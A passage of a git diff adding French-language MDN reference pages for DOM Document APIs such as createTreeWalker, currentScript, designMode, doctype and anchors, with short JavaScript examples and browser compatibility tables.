+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td>
+    <td><code>1024</code></td>
+    <td>Affiche les noeuds {{domxref("DocumentFragment")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td>
+    <td><code>512</code></td>
+    <td>Affiche les noeuds {{domxref("DocumentType")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ELEMENT</code></td>
+    <td><code>1</code></td>
+    <td>Affiche les noeuds {{domxref("Element")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY</code> {{deprecated_inline}}</td>
+    <td><code>32</code></td>
+    <td>Affiche les noeuds {{domxref("Entity")}}. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{ domxref("Entity") }} comme racine ; dans ce cas, il signifie que le noeud d'entité {{domxref("Entity") }} apparaîtra à la première position de la traversée. Étant donné que les entités ne font pas partie de l'arborescence du document, elles n'apparaissent pas lors de la traversée de l'arborescence du document.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td>
+    <td><code>16</code></td>
+    <td>Affiche les noeuds {{domxref("EntityReference")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_NOTATION</code> {{deprecated_inline}}</td>
+    <td><code>2048</code></td>
+    <td>Affiche les noeuds {{domxref("Notation")}}. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{domxref("Notation")}} comme racine ; dans ce cas, il signifie que le noeud {{domxref("Notation")}} apparaîtra à la première position de la traversée. Étant donné que les entités ne font pas partie de l'arborescence du document, elles n'apparaissent pas lors de la traversée de l'arborescence du document.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td>
+    <td><code>64</code></td>
+    <td>Affiche les noeuds {{domxref("ProcessingInstruction")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_TEXT</code></td>
+    <td><code>4</code></td>
+    <td>Affiche les noeuds {{domxref("Text")}}.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><em>filter <em>{{optional_inline}}</em></em></dt>
+ <dd>est un {{domxref("NodeFilter")}} (<em>filtre de noeud</em>) facultatif, c'est à dire un objet avec une méthode <code>acceptNode</code> appelé par {{domxref("TreeWalker")}} pour déterminer s'il doit accepter ou non un nœud qui a passé le test <code>whatToShow</code>.</dd>
+ <dt><em>entityReferenceExpansion<em> {{optional_inline}}</em></em> <em>{{obsolete_inline}}</em></dt>
+ <dd>est un {{domxref("Boolean")}} (<em>booléen</em>) indiquant si, lors de la suppression d'une {{domxref("EntityReference")}}, son sous-arbre doit être supprimé en même temps.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant passe à travers tous les noeuds du "body" (<em>corps du document</em>), réduit l'ensemble des noeuds aux éléments, passe simplement à travers chaque noeud acceptable (à la place, il pourrait réduire l'ensemble dans la méthode <code>acceptNode()</code>), puis utilise l'itérateur de traversée de l'arbre créé pour avancer à travers les nœuds (maintenant tous les éléments) et les écrire dans un tableau.</p>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+  document.body,
+  NodeFilter.SHOW_ELEMENT,
+  { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+  false
+);
+
+var nodeList = [];
+
+while(treeWalker.nextNode()) nodeList.push(treeWalker.currentNode);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Suppression du paramètre <code>expandEntityReferences</code>. Les paramètres facultatifs  <code>whatToShow</code> et <code>filter</code> .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#NodeIteratorFactory-createTreeWalker', 'Document.createTreeWalker')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+  <tr>
+   <td><code>whatToShow</code> and <code>filter</code> optional</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("12")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.0</td>
+  </tr>
+  <tr>
+   <td><code>expandEntityReferences</code></td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}<br>
+    Removed in {{CompatGeckoDesktop("12")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+  <tr>
+   <td><code>whatToShow</code> and <code>filter</code> optional</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("12")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.0</td>
+  </tr>
+  <tr>
+   <td><code>expandEntityReferences</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}<br>
+    Removed in {{CompatGeckoDesktop("12")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface de l'objet qu'il crée : {{domxref("TreeWalker")}}.</li>
+</ul>
diff --git a/files/fr/web/api/document/currentscript/index.html b/files/fr/web/api/document/currentscript/index.html
new file mode 100644
index 0000000000..68fd2e0f4b
--- /dev/null
+++ b/files/fr/web/api/document/currentscript/index.html
@@ -0,0 +1,118 @@
+---
+title: Document.currentScript
+slug: Web/API/Document/currentScript
+tags:
+  - API
+  - DOM
+  - Propriété
+  - Reference
+  - Script
+translation_of: Web/API/Document/currentScript
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Retourne l'élément {{HTMLElement("script")}} dont le script est en cours de traitement.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>curScriptElement</var> = document.currentScript;
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple vérifie si le script s'exécute de manière asynchrone :</p>
+
+<pre class="brush:js">if (document.currentScript.async) {
+  console.log("Exécution asynchrone");
+} else {
+  console.log("Exécution synchrone");
+}</pre>
+
+<p><a href="/samples/html/currentScript.html">Voir l'exemple sur une page</a></p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Il est important de noter que l'élément {{HTMLElement("script")}} ne sera pas référencé si le code dans le script est appelé par une fonction de rappel ou par un gestionnaire d'événements ; seul sera référencé l'élément alors qu'il est initialement en cours d'exécution.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "dom.html#dom-document-currentscript", "Document.currentScript")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(29.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("script")}}</li>
+ <li>{{domxref("document.onafterscriptexecute")}}</li>
+ <li>{{domxref("document.onbeforescriptexecute")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/defaultview/index.html b/files/fr/web/api/document/defaultview/index.html
new file mode 100644
index 0000000000..e956485e62
--- /dev/null
+++ b/files/fr/web/api/document/defaultview/index.html
@@ -0,0 +1,18 @@
+---
+title: document.defaultView
+slug: Web/API/Document/defaultView
+translation_of: Web/API/Document/defaultView
+---
+<h2 id="Summary" name="Summary">Résumé</h2>
+<p>Dans les navigateurs, cette propriété renvoie l'objet <a href="/en-US/docs/DOM/window" title="DOM/window">window</a> associé au document ou <code>null</code> si non disponible.</p>
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+<pre class="syntaxbox">var win = document.defaultView;</pre>
+<p>Cette propriété est en lecture seule.</p>
+<h2 id="Notes" name="Notes">Notes</h2>
+<p>D'après <a class="external" href="http://www.quirksmode.org/dom/w3c_html.html">quirksmode</a>, <code>defaultView</code> n'est pas supporté dans les versions d'IE inférieures à 9.</p>
+<h2 id="Specification" name="Specification">Spécification</h2>
+<ul>
+  <li><a href="/en-US/docs/HTML/HTML5" title="HTML/HTML5">HTML5: defaultView</a></li>
+  <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-DocumentView-defaultView">DOM Level 2 Views: defaultView</a></li>
+  <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Views/" title="http://www.w3.org/TR/DOM-Level-3-Views/">DOM Level 3 Views</a> (Seulement développé en Working Group Note mais pas implémenté)</li>
+</ul>
diff --git a/files/fr/web/api/document/designmode/index.html b/files/fr/web/api/document/designmode/index.html
new file mode 100644
index 0000000000..f3bac92585
--- /dev/null
+++ b/files/fr/web/api/document/designmode/index.html
@@ -0,0 +1,102 @@
+---
+title: Document.designMode
+slug: Web/API/Document/designMode
+translation_of: Web/API/Document/designMode
+---
+<div>{{ ApiRef() }}</div>
+
+<div> </div>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p><span id="result_box" lang="fr"><span class="hps">document.designMode</span> <span class="hps">contrôle si</span> <span class="hps">l'ensemble du document</span> <span class="hps">est modifiable.</span> <span class="hps">Les valeurs valides sont</span> <span class="hps">"on"</span> <span class="hps">et "off"</span><span>.</span> <span class="hps">Conformément à la spécification</span><span>,</span> <span class="hps">cette propriété</span> <span class="hps">est par</span> <span class="hps">défaut</span> <span class="hps">sur "off"</span><span>.</span> <span class="hps">Firefox</span> <span class="hps">suit</span> <span class="hps">cette norme</span><span>.</span> <span class="hps">Les</span> <span class="hps">versions antérieures de</span> <span class="hps">Chrome</span> <span class="hps">et IE</span> <span class="hps">ont par défaut la valeur</span><span class="atn hps"> "</span></span><code>inherit</code><span lang="fr"><span>"</span><span>.</span> Pour les versions entre <span class="hps">IE6-10</span><span>,</span> <span class="hps">la valeur</span> <span class="hps">est en majuscule</span><span>.</span></span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var mode = document.designMode;
+document.designMode = "on";
+document.designMode = "off";</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Rendre un document {{HTMLElement("iframe")}} éditable</p>
+
+<pre>iframe_node.contentDocument.designMode = "on";
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs" style="font-size: 2.14285714285714rem;">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Feature</th>
+   <th style="line-height: 16px;">Chrome</th>
+   <th style="line-height: 16px;">Firefox (Gecko)</th>
+   <th style="line-height: 16px;">Internet Explorer</th>
+   <th style="line-height: 16px;">Opera</th>
+   <th style="line-height: 16px;">Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Feature</th>
+   <th style="line-height: 16px;">Android</th>
+   <th style="line-height: 16px;">Chrome for Android</th>
+   <th style="line-height: 16px;">Firefox Mobile (Gecko)</th>
+   <th style="line-height: 16px;">IE Mobile</th>
+   <th style="line-height: 16px;">Opera Mobile</th>
+   <th style="line-height: 16px;">Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></li>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ms533720(v=vs.85).aspx">designMode property</a> on MSDN</li>
+</ul>
diff --git a/files/fr/web/api/document/dir/index.html b/files/fr/web/api/document/dir/index.html
new file mode 100644
index 0000000000..9ae15a8559
--- /dev/null
+++ b/files/fr/web/api/document/dir/index.html
@@ -0,0 +1,44 @@
+---
+title: Document.dir
+slug: Web/API/Document/dir
+tags:
+  - API
+  - Document
+  - Propriété
+  - Reference
+translation_of: Web/API/Document/dir
+---
+<p>{{ApiRef("")}}</p>
+
+<p>La propriété <code><strong>Document.dir</strong></code> est une chaîne de caractères {{domxref("DOMString")}} <span class="tlid-translation translation" lang="fr"><span title="">représentant la direction du texte du document : de gauche à droite (par défaut) ou de droite à gauche.</span> <span title="">Les valeurs possibles sont</span></span> <code>'rtl'</code>, droite vers gauche, et <code>'ltr'</code>, gauche vers droite.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>dirStr</em> = <em>document.</em>dir;
+<em>document.dir</em> = <em>dirStr;</em>
+</pre>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dom-document-dir", "Document.dir")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Document.dir")}}</p>
diff --git a/files/fr/web/api/document/doctype/index.html b/files/fr/web/api/document/doctype/index.html
new file mode 100644
index 0000000000..980447cc3c
--- /dev/null
+++ b/files/fr/web/api/document/doctype/index.html
@@ -0,0 +1,65 @@
+---
+title: Document.doctype
+slug: Web/API/Document/doctype
+tags:
+  - API
+  - DOM
+  - DTD
+  - Document
+  - Propriétés
+  - Type
+translation_of: Web/API/Document/doctype
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Renvoie la "Document Type Declaration (DTD)" (<em>déclaration de type de document</em>) associée avec le document actuel. L'objet renvoyé implémente l'interface {{domxref("DocumentType")}}. Utilisez {{domxref("DOMImplementation.createDocumentType()")}} pour créer un <code>DocumentType</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>doctype</var> = <var>document</var>.doctype;
+</pre>
+
+<ul>
+ <li><code>doctype</code> est une propriété en lecture seule.</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js">var doctypeObj = document.doctype;
+
+console.log(
+  "doctypeObj.name: "           + doctypeObj.name            + "\n" +
+  "doctypeObj.internalSubset: " + doctypeObj.internalSubset  + "\n" +
+  "doctypeObj.publicId: "       + doctypeObj.publicId        + "\n" +
+  "doctypeObj.systemId: "       + doctypeObj.systemId
+);</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>La propriété renvoie <code>null</code> si aucune DTD n'est associée au document en cours.</p>
+
+<p>DOM level 2 ne prend pas en charge l'édition de la déclaration de type de document (DTD).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Valeur de retour modifiée pour les documents HTML avec absence d'élément {{HTMLElement("html")}}. Définit que le type de document peut être modifié.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/document/document.anchors/index.html b/files/fr/web/api/document/document.anchors/index.html
new file mode 100644
index 0000000000..09fadf1b61
--- /dev/null
+++ b/files/fr/web/api/document/document.anchors/index.html
@@ -0,0 +1,80 @@
+---
+title: Document.anchors
+slug: Web/API/Document/Document.anchors
+translation_of: Web/API/Document/anchors
+---
+<div>{{APIRef("DOM")}} {{deprecated_header()}}</div>
+
+<p><code>anchors</code> retourne une liste de toutes les ancres du document.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>nodeList</var> = document.anchors;
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">if ( document.anchors.length &gt;= 5 ) {
+  dump("Trop d'ancres trouvées !");
+  window.location = "http://www.google.com";
+}
+</pre>
+
+<p>L'exemple suivant remplit un tableau avec chaque ancre présente sur la page :</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;Test&lt;/title&gt;
+&lt;script&gt;
+function init() {
+  var toc = document.getElementById("toc");
+  var i, li, newAnchor;
+  for (i = 0; i &lt; document.anchors.length; i++) {
+    li = document.createElement("li");
+    newAnchor = document.createElement('a');
+    newAnchor.href = "#" + document.anchors[i].name;
+    newAnchor.innerHTML = document.anchors[i].text;
+    li.appendChild(newAnchor);
+    toc.appendChild(li);
+  }
+}
+&lt;/script&gt;
+
+&lt;/head&gt;
+&lt;body onload="init()"&gt;
+
+&lt;h1&gt;Title&lt;/h1&gt;
+&lt;h2&gt;&lt;a name="contents"&gt;Contents&lt;/a&gt;&lt;/h2&gt;
+&lt;ul id="toc"&gt;&lt;/ul&gt;
+
+&lt;h2&gt;&lt;a name="plants"&gt;Plants&lt;/a&gt;&lt;/h2&gt;
+&lt;ol&gt;
+    &lt;li&gt;Apples&lt;/li&gt;
+    &lt;li&gt;Oranges&lt;/li&gt;
+    &lt;li&gt;Pears&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;h2&gt;&lt;a name="veggies"&gt;Veggies&lt;/a&gt;&lt;/h2&gt;
+&lt;ol&gt;
+    &lt;li&gt;Carrots&lt;/li&gt;
+    &lt;li&gt;Celery&lt;/li&gt;
+    &lt;li&gt;Beats&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><a href="https://jsfiddle.net/S4yNp">Voir dans JSFiddle</a></p>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Pour des raisons de rétrocompatibilité, la liste d'ancres retournée contient seulement les ancres créées avec l'attribut <code>name</code>, pas celles créées avec l'attribut <code>id</code>.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-7577272">DOM Level 2 HTML: anchors</a></li>
+</ul>
diff --git a/files/fr/web/api/document/document/index.html b/files/fr/web/api/document/document/index.html
new file mode 100644
index 0000000000..92f2305c02
--- /dev/null
+++ b/files/fr/web/api/document/document/index.html
@@ -0,0 +1,93 @@
+---
+title: Document()
+slug: Web/API/Document/Document
+tags:
+  - API
+  - Constructeur
+  - DOM
+  - Document
+  - Reference
+translation_of: Web/API/Document/Document
+---
+<p>{{APIRef}}</p>
+
+<p>Le constructeur <code><strong>Document</strong></code> crée un nouvel objet de {{domxref("Document")}}, lequel c'est la référence de la page courante dans le navigateur et servant comme point d'entrer aux contenus de la page.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>document</em> = new Document()</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>None.</p>
+
+<p><span style='background-color: #333333; color: #ffffff; font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 1.5rem;'>Spécifications</span></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-document','Document')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_Navigateurs">Compatibilité Navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(47)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(47)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/document/documentelement/index.html b/files/fr/web/api/document/documentelement/index.html
new file mode 100644
index 0000000000..e345027b13
--- /dev/null
+++ b/files/fr/web/api/document/documentelement/index.html
@@ -0,0 +1,72 @@
+---
+title: document.documentElement
+slug: Web/API/Document/documentElement
+tags:
+  - API
+  - DOM
+  - Noeud
+  - Propriétés
+  - Racine
+  - Reference
+translation_of: Web/API/Document/documentElement
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p><code><strong>Document.documentElement</strong></code>renvoie l'<code><a href="https://developer.mozilla.org/fr/docs/Web/API/element">Element</a></code> qui est l'élément racine du <a href="https://developer.mozilla.org/fr/docs/Web/API/document">document</a> (par exemple, l'élément <code>&lt;html&gt;</code> pour les documents HTML).</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">var<em> element</em> = document.documentElement;
+</pre>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="eval">var racine = document.documentElement;
+var premierNiveau = racine.childNodes;
+// premierNiveau est une NodeList des enfants directs de l'élément racine
+for (var i = 0; i &lt; premierNiveau.length; i++) {
+   // fait quelque chose avec chaque enfant direct de l'élément racine
+   // en tant que premierNiveau[i]
+}
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p><span id="result_box" lang="fr"><span>Pour tout document HTML non vide, <code>document.documentElement</code> sera toujours un élément {{HTMLElement ("html")}}.</span> <span>Pour tout document XML non vide, <code>document.documentElement</code> sera toujours l'élément racine du document.</span></span></p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-87CD092','Document.documentElement')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-87CD092','Document.documentElement')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4','#dom-document-documentelement','Document.documentElement')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Document.documentElement")}}</p>
diff --git a/files/fr/web/api/document/documenturi/index.html b/files/fr/web/api/document/documenturi/index.html
new file mode 100644
index 0000000000..31e15a16be
--- /dev/null
+++ b/files/fr/web/api/document/documenturi/index.html
@@ -0,0 +1,54 @@
+---
+title: Document.documentURI
+slug: Web/API/Document/documentURI
+tags:
+  - API
+  - DOM
+  - Document
+  - Propriétés
+  - URI
+translation_of: Web/API/Document/documentURI
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>La propriété <code><strong>documentURI</strong></code> de l'interface {{domxref("Document")}} renvoie l'emplacement du document sous forme "string" (<em>chaîne de caractères</em>).</p>
+
